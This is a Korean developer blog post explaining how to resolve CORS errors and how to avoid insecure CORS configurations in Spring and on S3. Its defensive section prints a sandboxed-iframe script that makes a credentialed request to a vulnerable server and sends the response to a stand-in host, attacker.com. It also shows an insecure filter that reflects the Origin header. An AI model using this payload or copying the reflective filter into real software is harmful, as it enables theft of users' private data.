본문 바로가기

항해 99/Spring

CORS 에러 해결 방법, CORS 보안 취약점 예방 가이드

1. Chrome 확장 프로그램 이용

Chrome에서는 CORS 문제를 해결하기 위한 확장 프로그램을 제공해준다.

링크에서 'Allow CORS: Access-Control-Allow-Origin' 크롬 확장 프로그램을 설치 해준다.

 

브라우저 오른쪽 상단에서 확장 프로그램을 활성화 시킬 수 있다, 해당 프로그램을 활성화 시키게 되면, 로컬(localhost) 환경에서 API를 테스트 시, CORS 문제를 해결할 수 있음

 

2. 프록시 사이트 이용하기

프록시(Proxy)란 클라이언트와 서버 사이의 중계 대리점을 뜻함, 프론트에서 직접 서버에 리소스를 요청했더니 서버에서 따로 설정을 안해줘서 CORS 에러가 뜨면, 모든 출처를 허용한 서버 대리점을 통해 요청하면 되는 것

 

무료 프록시 서버 대여 서비스들은 모두 악용 사례 때문에 api 요청 횟수 제한을 두어 실전에서는 사용하기 힘들다.

테스트용으로 사용하고, 직접 프록시 서버를 구축하여 사용해야 한다.

 

heroku 프록시 서버

  1. http://cors-anywhere.herokuapp.com/corsdemo
  2. 위의 사이트에서 버튼을 누르고 데모 서버를 활성화 시킨다.
  3. 다만 시간 제한이 있기 때문에 일시적인 해결 방편

const url = 'https://google.com' // 이 부분을 이용하는 서버 URL로 변경

fetch(`https://cors-anywhere.herokuapp.com/${url}`)
    .then((response) => response.text())
    .then((data) => console.log(data));

 

cors proxy app 프록시 서버

  • axios 라이브러리 설치가 필요함
<script src='https://cdnjs.cloudflare.com/ajax/libs/axios/1.1.3/axios.min.js'></script>
<script>
    axios({
        url: 'https://cors-proxy.org/api/',
        method: 'get',
        headers: {
            'cors-proxy-url' : 'https://google.com/' // 이 부분을 이용하는 서버 URL로 변경
        },
    }).then((res) => {
        console.log(res.data);
    })
</script>

 

cors.sh 프록시 서버

유료 결제 필요

const url = 'https://google.com' // 이 부분을 이용하는 서버 URL로 변경

fetch(`https://proxy.cors.sh/${url}`)
    .then((response) => response.text())
    .then((data) => console.log(data));

 

3. 서버에서 Access-Control-Allow-Origin 헤더 세팅

직접 서버에서 HTTP 헤더 설정을 통해 출처를 허용하게 설정하는 가장 정석적인 해결책, 서버의 문법에 맞게 HTTP 헤더를 추가해주면 됨

# 헤더에 작성된 출처만 브라우저가 리소스를 접근할 수 있도록 허용함.
# * 이면 모든 곳에 공개되어 있음을 의미한다. 
Access-Control-Allow-Origin : https://naver.com

# 리소스 접근을 허용하는 HTTP 메서드를 지정해 주는 헤더
Access-Control-Request-Methods : GET, POST, PUT, DELETE

# 요청을 허용하는 해더.
Access-Control-Allow-Headers : Origin,Accept,X-Requested-With,Content-Type,Access-Control-Request-Method,Access-Control-Request-Headers,Authorization

# 클라이언트에서 preflight 의 요청 결과를 저장할 기간을 지정
# 60초 동안 preflight 요청을 캐시하는 설정으로, 첫 요청 이후 60초 동안은 OPTIONS 메소드를 사용하는 예비 요청을 보내지 않는다.
Access-Control-Max-Age : 60

# 클라이언트 요청이 쿠키를 통해서 자격 증명을 해야 하는 경우에 true. 
# 자바스크립트 요청에서 credentials가 include일 때 요청에 대한 응답을 할 수 있는지를 나타낸다.
Access-Control-Allow-Credentials : true

# 기본적으로 브라우저에게 노출이 되지 않지만, 브라우저 측에서 접근할 수 있게 허용해주는 헤더를 지정
Access-Control-Expose-Headers : Content-Length

 

Spring 세팅

// 스프링 서버 전역적으로 CORS 설정
@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/**")
        	.allowedOrigins("http://localhost:8080", "http://localhost:8081") // 허용할 출처
            .allowedMethods("GET", "POST") // 허용할 HTTP method
            .allowCredentials(true) // 쿠키 인증 요청 허용
            .maxAge(3000) // 원하는 시간만큼 pre-flight 리퀘스트를 캐싱
    }
}
// 특정 컨트롤러에만 CORS 적용하고 싶을때.
@Controller
@CrossOrigin(origins = "*", methods = RequestMethod.GET) 
public class customController {

	// 특정 메소드에만 CORS 적용 가능
    @GetMapping("/url")  
    @CrossOrigin(origins = "*", methods = RequestMethod.GET) 
    @ResponseBody
    public List<Object> findAll(){
        return service.getAll();
    }
}

 

AWS (S3 호스팅)

  1. S3 콘솔 메뉴에 들어가 버킷을 선택
  2. 권한(Permission) 탭을 선택한다
  3. 교차 출처 리소스 공유창에서 [편집] 선택
  4. 텍스트 상자에 아래 JSON CORS 규칙을 입력

[
  {
    "AllowedHeaders": [
      "Authorization"
    ],
    "AllowedMethods": [
      "GET",
      "HEAD"
    ],
    "AllowedOrigins": [
      "http://www.example.com"
    ],
    "ExposeHeaders": [
      "Access-Control-Allow-Origin"
    ]
  }
]

 

 

CORS의 보안 취약점 예방 가이드

CORS의 보안 문제점

다른 출처(Origin)의 서버의 리소스를 제약없이 가져와 사용할 경우 XSS(Cross-Site Scripting)나 CSRF(Cross-Site Request Fogery)와 같은 스크립팅 공격을 당할 위험성이 있음, 그래서 탄생한 것이 브라우저의 SOP(Same Origin Policy) 정책임.

 

SOP 정책은 오로지 동일한 출처에서만 리소스를 공유할수 있어, 글로벌한 인터넷 환경에선 이는 너무 제한적이라는 단점이 존재했다.

따라서 서비스 차원에서 몇몇은 다른 출처라도 리소스 공유를 허용해 주겠다는 것이 바로 CORS(Cross Origin Resource Sharing) 정책이다.

 

CORS 정책에 대해, 서버에서 너무 유연하게 리소스 허용 설정을 하게 될 경우, 웹 어플리케이션의 흐름을 악용하여 타인의 개인정보를 해킹할 위험성이 있게됨

 

CORS 보안 문제 예방 가이드

취약한 CORS의 구성을 예방 및 완화하는 지침 가이드

1. 와일드카드(*) 출처 사용 금지

모든 도메인을 허용하는 와일드카드의 사용은 서비스가 전체적으로 공개될 것이 아니라면 사용을 자제해야 함

 

2. Origin 요청 헤더의 값을 그대로 사용 금지

와일드카드(*)를 사용하는 것과 다름이 없는 상황.

다른 출처끼리 쿠키 통신을 해야할 때 클라이언트에서 withCredentials 옵션을 활성화해야 되는데, 이때 Access-Control-Allow-Origin 헤더에 와일드카드(*)를 사용하지 못하게 됨

 

라우터에 들어온 요청 데이터에 request 객체의 Origin 헤더 값을 가져와서 그대로 Access-Control-Allow-Origin 헤더에 넣는 방식은 보안 취약점이며 이러한 로직 사용을 지양해야 한다

/* Spring */

@Component
public class SimpleCorsFilter implements Filter {

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;
        
        response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin"));
        // ...
    }

	// ...
}

 

3. NULL 출처 허용 금지

로컬 환경에서 개발하고 테스트할 때 Origin이 null로 넘어와서, 서버에서 Access-Control-Allow-Origin 헤더에 null을 설정하고 개발을 이어나가다, 개발이 완료되면 그대로 배포하는 일이 일어남

실서비스는 웹 서버에 의해 배포가 될 것이고, 서비스에 접속하는 것도 실제 웹주소를 통해 들어오는데 문제가 생길까라고 의문이 생길 수 있지만, Origin: null은 간단히 뚫릴 수 있다.

 

iframe을 통한 공격

iframe은 html을 페이지에 삽입 해주는 것 뿐만 아니라, src 값에 javascript: 나 data: 등을 넣어 스크립트 등을 넣어 스크립트를 실행하게 할 수 있음

아래처럼 iframe 내부에서 요청을 보내면 Origin은 자동으로 null로 되어서 서버로 보내지게 됨

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
   <script>
      var xhr = new XMLHttpRequest();
      xhr.onload = reqListener;
      xhr.open('get', 'https://vulnerable.com/path_to_get_data', true); // 취약한 서버로 ajax 요청을 보냄
      xhr.withCredentials = true;
      xhr.send();
      
      function reqListener() {
         location='https://attacker.com/getdata?restxt='+encodeURIComponent(this.responseText);
      };
   </script>">
</iframe>

  1. 피해자가 웹브라우저를 통해 공격 사이트 attacker.com에 접속한다
  2. attacker.com에 임베디드 되어 있는 iframe에 있는 스크립트를 통해 포털 사이트에 쿠키를 담아 사용자 정보를 조회하는 요청을 몰래 보낸다
  3. 이때 브라우저의 Origin은 null로 처리되어 보내지게 된다
  4. 만일 서버에서 null에 대한 출처를 허용되도록 처리했다면 정상 응답을 하게 된다
  5. 피해자의 개인 정보를 attacker.com에 쿼리스트링으로 넣어 전송한다

4. 정규식으로 처리할 것이라면 조심히

효율적인 코드 작성을 위해 도메인을 정규식으로 처리하는 경우도 존재한다

예를 들어 다음과 같은 도메인에 대한 정규식이 있다고 치면, 상위 도메인 example.com의 하위 도메인에게만 접근을 허용하도록 처리된 식이며, 나중에 추가될 여러가지 하위 도메인들에 대해 서버 코드 수정없이 유연하게 처리도 가능하다

const regex = /[a-z]+.example.com/g
  • 위의 정규표현식은 적절하지 않다
  • 정규식의 본래 의도인 하위 도메인에게만 접근을 허용하는건 문제 없지만, [a-z]+ 다음에 있는 점(.)이 문제임, 정규표현식에서 점(.)은 모든 문자를 뜻하기 때문임

결국 공격자는 따로 attackerexample.com 도메인을 새로 준비하기만 하면 서버의 필터링 로직은 손 쉽게 뚫리게 되는 결과를 낳게 된다.

 

해결 방법은 점(.)을 이스케이프 처리하여 문자화 시키는 것이다

이처럼 허용할 CORS Origin을 설정할 때 정규식으로 처리할 경우 완벽한 검증이 요구하게 됨

const regex = /[a-z]+\.example.com/g

 

5. 화이트 리스트 사용

결국은 어딘가의 배열이나 리스트에 허용할 출처들을 저장해놓고 관리하는 것이 가장 베스트임

따라서 요청을 전송한 출처가 화이트 리스트에 있는 도메인 목록에 있는 경우에만 Access-Control-Allow-Origin 헤더에 해당 출처를 지정하는 식으로 백엔드 개발자는 하드 코딩을 조금 해야함

 

클라이언트에서 Origin을 변조해도 문제 없는지?

클라이언트에서 미리 Origin 헤더값을 위조하면 서버의 CORS를 뚫을 수 있을 거 같지만, 브라우저에서 이를 감지하여 원천 차단하기 때문에 결론은 불가능하다.

 

 

'항해 99 > Spring' 카테고리의 다른 글

대댓글 기능 구현  (1) 2024.03.21
S3를 이용한 파일 업로드  (0) 2024.03.20
CORS  (1) 2024.03.18
AWS로 HTTPS 연결  (0) 2024.03.16
LogBack을 통한 로그 관리  (0) 2024.03.15